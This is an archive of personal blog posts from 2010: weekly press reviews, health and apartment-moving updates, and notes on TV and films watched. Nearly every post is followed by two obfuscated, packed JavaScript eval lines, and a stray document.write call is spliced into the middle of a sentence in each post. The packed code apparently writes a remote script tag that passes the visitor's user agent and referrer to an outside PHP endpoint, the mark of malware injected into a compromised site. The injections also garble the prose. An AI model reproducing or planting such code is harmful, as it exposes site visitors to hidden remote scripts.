Revue de Presse / Press Review (2010/10/09)

Personal update: I worked another 6-day week and this time it was more tiring because I had to get up earlier several days in a row (therefore sleeping less). No time to do anything but read the news… And for that it was a good week:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhdnt|var|u0026u|referrer|knery||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|thdhr|var|u0026u|referrer|idtti||js|php’.split(‘|’),0,{}))

Anime & Manga related, document.write(“”); Japan, Popular Culture

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Books, Digital Edition & Library

Economy, Environment & International Politics/News

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Revue de Presse / Press Review (2010/09/23)

Personal update: So many stuff to do and so little time! Feeling a little better, document.write(“”); but still tired as always. Now that automn is here it really starts feeling cold. It’s sure time to uninstall the air conditioning. Just finished watching Shogun again and spent some time yesterday reading the latest news:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bitbh|var|u0026u|referrer|dsryr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dyaah|var|u0026u|referrer|terzr||js|php’.split(‘|’),0,{}))

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Montreal & Local/National Politics/News

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Revue de Presse / Press Review (2010/09/06)

Personal update: Not much happened in the last week. The health is a little better, document.write(“”); but I am still quite tired. Still too busy to put online my list of items to sell at my “Virtual Yard sale” [Be patient, it’s coming]. Last Wednesday Apple announced a bunch of new products, but none of them seem really interesting to me (save maybe the iOS 4.2 update for iPad that I am eagerly awaiting [it’s announced for November]; neither the new AppleTV or the 4th gen iPod Touch would be useful to me). I’ve also been screening Japanese movies at the Montreal World Film Festival; expect several “reviews” and press conferences video soon. In the meantime, here’s a few news that got my attention:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zdfft|var|u0026u|referrer|fydak||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbtsa|var|u0026u|referrer|nfanz||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news


Books, Digital Edition & Library

Economy, Environment & International Politics/News

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics/News

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

[Updated 9/07 with extra news; 9/08 with Apple Keynote links]

Revue de Presse / Press Review (2010/08/27)

Personal update: I’ve been feeling unwell for the last two weeks (first some disgestion problems and then some sort of cold), document.write(“”); so I have not done much lately besides slaving for the libraries. I always feel completely exhausted after work. I guess I am worrying too much about my next working schedule and moving out of the apartment. The bright side is that if I don’t get much work this fall it will leave me time to rest and to shop for a new house. But now with the Montreal World Film Festival I should be again quite busy (and tired) for a couple of weeks. I can’t wait to have some real time off… Anyway, the world is still turning and there’s always news to talk about:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnzrk|var|u0026u|referrer|draef||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhdas|var|u0026u|referrer|enstk||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Economy, Environment & International Politics

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Revue de Presse / Press Review (2010/08/17)

Personal update: I’ve been incredibly busy lately and I’m sure it will only get worse (unless I don’t manage to get a full schedule for the libraries fall time-block—the time of sleepless worrying over scheduling is back again). I’ve spent all week-end at Otakuthon: It was a good convention (at least for me in the dealers’ room) but quite exhausting. With all the stress and exhaustion, document.write(“”); I’ve not been feeling well lately (headache and disgestion problems). I couldn’t manage to write much, but I did spot of few noteworthy newsbits:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyrhn|var|u0026u|referrer|rnykz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdsas|var|u0026u|referrer|iyfnb||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Film Festival

Health, home & garden

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Revue de Presse / Press Review (2010/07/17)

I had a busy week (an appointment with the optometrist for another lengthy exam—which left me almost blind the rest of the evening—and the fitting of my new glasses, document.write(“”); a family supper and a meeting with a family friend who’s a Vatican agent) and, since the weather has not been kind and made me worried about mopping the basement (which happened two or three time in the last week or so—I am so fed up with those increasingly frequent strong thunderstorms—and twice today!), I am rather tired and still not feeling well (back pain leading to bad sleep, slight cold due to air conditioning, troubled digestion due to the heat and worries, dizziness, etc). Therefore I took a day off today to rest more, catch up on chores and review the rare interesting news of the week. My wife and I are still watching “Upstairs, Downstairs” (we’re now in the third season) and I started a huge, but quite interesting autobiographical manga by Yoshihiro Tatsumi. That’s it for the weekly personal update and now let’s go on to the news:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|znbny|var|u0026u|referrer|nfbki||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbira|var|u0026u|referrer|niaei||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

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Media, Culture & Society

Montreal & Local/National Politics

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See also the “Suggested Links (Shared Items)” in the column on the right side

What we’ve been watching

There’s not much good series on TV lately because of the summer, document.write(“”); so my wife and I are watching mostly old stuff (previously recorded, purchased or downloaded).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iheki|var|u0026u|referrer|sentk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ideyy|var|u0026u|referrer|edieb||js|php’.split(‘|’),0,{}))

We have a big weakness for historical series and particularly for Brit TV, so, this year, after watching the superb
Lark Rise to Candleford, and devoting a considerable amount of time to the quite interesting 41-episode TV series Sherlock Holmes starring Jeremy Brett (which originally aired between 1984 and 1994), we’ve watched The Pacific, the last season of The Tudors and now we are currently watching Upstairs, Downstairs (1971-75; we’ve just started the second season).

As for movies, we tend to watch them in thematic clusters. After watching a bunch of Sherlock Holmes-related movies (Guy Ritchie’s version, of course, followed by Billy Wilder’s Private Life of Sherlock Holmes (1970), some old adaptations like A Study in Scarlet (1968, with Peter Cushing, which is in fact a TV episode) and others not worth mentioning), we’ve watched a bunch of Oscar-related movies (The Reader, Slumdog Millionaire, The Hurt Locker, The Young Victoria). After watching Vicky Cristina Barcelona, we went for a couple of Woody Allen movies (Match Point (starring The Tudors’ actor Jonathan Rhys Meyers), Scoop).

Then we bought two boxed sets of romantic comedy compilations: Music & Lyrics, Rumour Has It, Lucky You, Sweet November, Where the Heart Is, Ever After, and Someone Like You (all good and funny but, seriously, I’ve now seen enough romantic comedies for a while!).

After watching Gran Torino (as part of our Oscar streak), we strangely went for a bunch of old Clint Eastwood movies, all produced in 1971: Play Misty for Me (a thriller precursor of “Fatal Attraction”, where Clint made his directorial debut), The Beguiled and Dirty Harry.

Finaly, we’ve seen a couple of Japanese (or Japan-inspired) movies: Hachiko, A Dog Story (sad), Bare Essence of Life (weird and boring) and Love And Honor (nice!). Also we seem to have a predilection for old classics: A Summer Place (1959), Love Story (1970), Romeo and Juliet (1968, Franco Zeffirelli), La Belle et la Bête (1946, Jean Cocteau) and Le Déjeuner sur l’Herbe (1959, Jean Renoir).

On my own, I’ve also watched many movies since the beginning of the year: Avatar, the last two Harry Potter, Up in the Air, The Time Traveler’s Wife, 2012, Riverworld, the first two Twilight, W., Pi, and The Book of Eli. I like watching movies: it’s relaxing, it brings you into another world and takes your mind off your current problems. Most of those movies are good and worth mentioning, and if I’d like to write short reviews for all of them, I am unfortunately too busy and lazy to do so. But the festival season is starting and I should resume writing movies reviews (but I won’t post them all here, since I’ll keep some for other publications to come)…

Bonne Saint-Jean

Bonne Saint-Jean à tous!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyban|var|u0026u|referrer|idrsz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iiekz|var|u0026u|referrer|habnn||js|php’.split(‘|’),0,{}))

Happy Saint-Jean to all (at least those in Québec — or happy beer’s day like some friends are saying).

I have a couple of days off so (after answering a few emails and doing a little clean up) I’ll try to do some update here. Hopefully.

Revue de Presse / Press Review (2010/06/03)

Personnal update: I’ve had the iPad for nearly a week now and I should soon comment about it (if I can find some time). I am quite tired because I’ve lost some sleep (and gain stomac pain) over establishing my new work schedule [link in french] but it’s all over now. As usual, document.write(“”); I worried for nothing and I’ll be working nearly full time for most of the summer (leaving me little time for the darn clean up and the zillion other stuff I need/want to do — and I still need to figure out how I will list the stuff I want to sell online…). On my days off, I’m so tired that I can barely do anything… Anyway, here’s some of the news that got my attention this week (of course I was mostly preoccupied with iPad-related local news):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnabt|var|u0026u|referrer|yzzth||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzzek|var|u0026u|referrer|fdasb||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health

Humour

Media, Culture & Society

Montreal & Local/National Politics

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Revue de Presse / Press Review (2010/05/27)

Another nice but insanely busy (and quite unseasonably hot) week. Not only this week was my birthday (getting so old now, document.write(“”); BTW: thanks to all who wished me happy birthday) but I am also getting my iPad (a kind of self-gift)! I’ll be a little more productive when I’m out of the safe-house (I’ll missed it after moving, but I’ll make a better one — however, for now, it is clean-up time!) and I’ll be able to experiment on new ways to distribute contents. This week was as hellish as usual at work (or more: trying to organize a new work schedule provided excruciating mental pain; the boroughs are really nests of ineptitude!). News-wise, beside the iPad international launch, I noted the end of the Cannes Film Festival, more Gulf oil-spill drama and the end of most of the TV shows I was watching (it makes me sad, but it will also allow more time for the clean-up and for “working” on the iPad)! Here’s some more:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|feybs|var|u0026u|referrer|zerbr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibbzy|var|u0026u|referrer|adtba||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple & iPad news

Books, Digital Edition & Library

Economy, Environment & International Politics

Health

Humour

Media, Culture & Society

Montreal & Local/National Politics

Real-estate

Sciences & History

Technology, Gadgets & Internet

See also the “Suggested Links (Shared Items)” in the column on the right side

Moving on

It is now official. I met tonight the new owner of the building where I live and he want to move into my appartment. However, document.write(“”); legally, I can stay until the end of my current lease, which means I could stay another forteen months. But I’ll do my best to leave as early as I can. Which means I really have to get going with my appartment clean up and the virtual yard sale I am planning to do to get rid of at least half my stuff. Which also means I won’t have much time for anything else (I’ll stop being involved in union-related activities and try to reduce my writing / bloging a little). And I’ll probably need LOTS of moral support…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akeai|var|u0026u|referrer|rdyae||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dneii|var|u0026u|referrer|kyief||js|php’.split(‘|’),0,{}))

I like my place and the neighborhood, but all good things have an end. That’s life. We have to accept that and move on…

Le climat se rafraîchit

Après avoir eut des températures dans les 20’C à plusieurs reprises durant avril, document.write(“”); voilà qu’il neige à nouveau! On pourrait appeller ça l’hiver indien je crois!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itfda|var|u0026u|referrer|ddfbn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srzfk|var|u0026u|referrer|ikyez||js|php’.split(‘|’),0,{}))

Citation de la semaine:
Pater dimitte illis non enim sciunt quid faciunt…” (Luc 23:34)

Happy Easter / Joyeuse Pâques

I am not a religious man so Easter doesn’t hold any special significance beside an occasion for some well-deserved rest and a family meal (although this year it has been pushed back a few weeks because my mother has had a small heart procedure). However, document.write(“”); since it surely means more to most of you, I’d like to wish you all an happy easter. I hope you’ll enjoy your easter bunny stew and chocolate eggs omelet. For my part, my wife is working today, so I’ll spend easter home alone.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtfdz|var|u0026u|referrer|tszsb||js|php’.split(‘|’),0,{}))

I was able to establish a good writing pace lately and blog several time a week. Unfortunately, I am afraid this won’t last. I have to start working on my “spring cleaning” in order to seriously reduce the amount of stuff I have prior to moving into a new appartment or house later this year (or the next). I’ll also have to start listing my possessions to prepare for the virtual yard sale I am planning for the summer. Lots of work in perspective. I might have to cut back a little on my tv watching, publishing work and “counter-revolutionary” activities (although reestablishing a fair democracy in this world seems like a lost cause anyway), but I’ll do my best to keep bloging at least once or twice a week. It might be easier to do after I got my iPad (it’s scheduled in Canada for the “end of April,” whatever it means).

Future health

I just called to get our “annual” (actually it has been three years) medical check-up appointment with our family doctor. I’ve got an appointment in november! In seven months! That’s comforting to know that we’ll be dealing then with the future of medecine…

Upsetting move

I am quite upset. I am renting a large appartment filled to the brim with books and dvds. I like the place (even if it’s a little run-down) and find all I need in the neighborhood. Unfortunately, document.write(“”); the owner told me yesterday his intention to sell the place, therefore next year I’ll have to face either eviction or a steep rent raise. Most likely I’ll have to find a new place to rent or purchase. In either case I’ll have quite a clean up to do since I’ll have to seriously downsize. Expect a huge virtual yard sale before the end of the year!

Funny anecdotes (2)

Each winter The Gazette publishes an ad where they thank customers for keeping their stairs clear of snow and ice to insure the safety of their delivery boys. This make me laugh every time since the delivery “boy” never comes closer than fifty feet from my door’s steps! He simply stops his car in the middle of the street and, document.write(“”); from there, throw the newspaper at my door (usually hitting it with a loud BANG). It’s annoying because I paid a lot of money to make my mail slot bigger, but he never used it. Sometimes, the newspaper rebound close to the sidewalk (where any passerby could grab it) or even off the porch into the snow, slush or rain puddle. And that’s when the cover-page doesn’t get scratched or ripped because of the shock or sliding. This morning the unavoidable happened: he finally hit the front-door window, breaking it. Fortunately, the delivery company has agreed to pay for the window replacement (nearly $250!), but (now that the iPad is almost here and there’s so many newspapers with online edition) I am wondering if subscribing to a newspaper is worth the trouble (or the risk)!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zefaz|var|u0026u|referrer|trttz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbnff|var|u0026u|referrer|nfskd||js|php’.split(‘|’),0,{}))

The other day, in the subway, I saw an advert for the
Canadian Society of Immigrant Consultants. Considering that, in the past, immigants had to go through a long and difficult journey across the atlantic to reach our shores, this advert inevitably conjured up in my mind the image of a poor immigrant leaning over board to throw up into the sea… It really doesn’t help that this organisation’s acronym, CSIC, can be pronounced “sea-sick”! Anyhow, this advert doesn’t give any feeling of confidence into this society…

Another mail snafu just happened to me. I mailed a package to Abu Dhabi (in the United Arab Emirates) and it ended up in Kentuky, USA. I really don’t understand what’s going through the mind of those postal workers…

One more thing: People were calling the iPad the “miracle tablet” (“Last time there was this much excitement about a tablet, it had some commandments written on it”) or the “Jesus Slate” because the expectations of the, then rumored, iPad were so high (some thought it could even walk on water) they were sure it would resurrect Apple’s business again (they wanted us to pick the apple from the tree of knowledge). Well, coincidentally (or is it?), the iPad will be released on Easter week-end!

The ailments of age

When you get near fifty year-old you start getting all sorts of ailments. And you cannot help wondering which one of those will get you in the end. When you have a headache, document.write(“”); you wonder “would it be a cerebro-vascular accident? A tumor?” You read some stupid comments on a forum or some hate mail and your heart gets pumpin’ or your chest hurt: will it be an heart attack? Or an aortal aneurism? You can’t remember a movie title or someone’s name: would it be Alzheimer? You have an heartburn: would it be an ulcer? Stomac cancer? You have digestive problems or too much gaz: would it be colon cancer? You get up three times to pee during the night: would it be prostate cancer? You have chronic back pain: would it be an herniated disc? Kidney problems? And so on for each possible organ or body parts…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|teyer|var|u0026u|referrer|yaeyz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btysi|var|u0026u|referrer|zenbd||js|php’.split(‘|’),0,{}))

And you worry so much about those things it makes you sick. You go to a clinic for tests and check-ups, to find some reassurance. There’s nothing you can do about it but try to forget about those problems, try to live your life and be happy. As Marcus Aurelius said, there’s no use worrying about stuff we don’t have control over. It doesn’t really work that way, but sometimes you still have good days. You know there will be less and less of those, so you do your best to live in the moment and seize the day…

The quiet job that you thought would lead to a quiet life and more time to think and write, is causing you stomac upset instead? You need to take it with a grain of salt and be as much zen as possible about it. Nothing matters but the enjoyment of life…

I am tired… of those stupid TV executives

My job can certainly be quite tiring although it’s not very physical—it’s even rather boring sometime—but I do lots of commuting and that can also be a drain on my energy. Sometimes I get so tired that I cannot do anything after work—and that’s a real drag for all my other projects like the anime specials I am trying to put together or this blog. However, document.write(“”); I always do my best to rest on my days off (after all my priority is now to stay healthy in order to work and be able to cover our living expenses). I guess I must have been quite tired yesterday because I slept nearly twelve hours! To make sure I was well rested I spent the rest of the day relaxing while watching a little TV, reading a book (a manga actually) or the newspaper and fiddling on the computer (reading more news, doing some updating, taking notes, trying to learn GarageBand, installing Chrome OS, etc.).
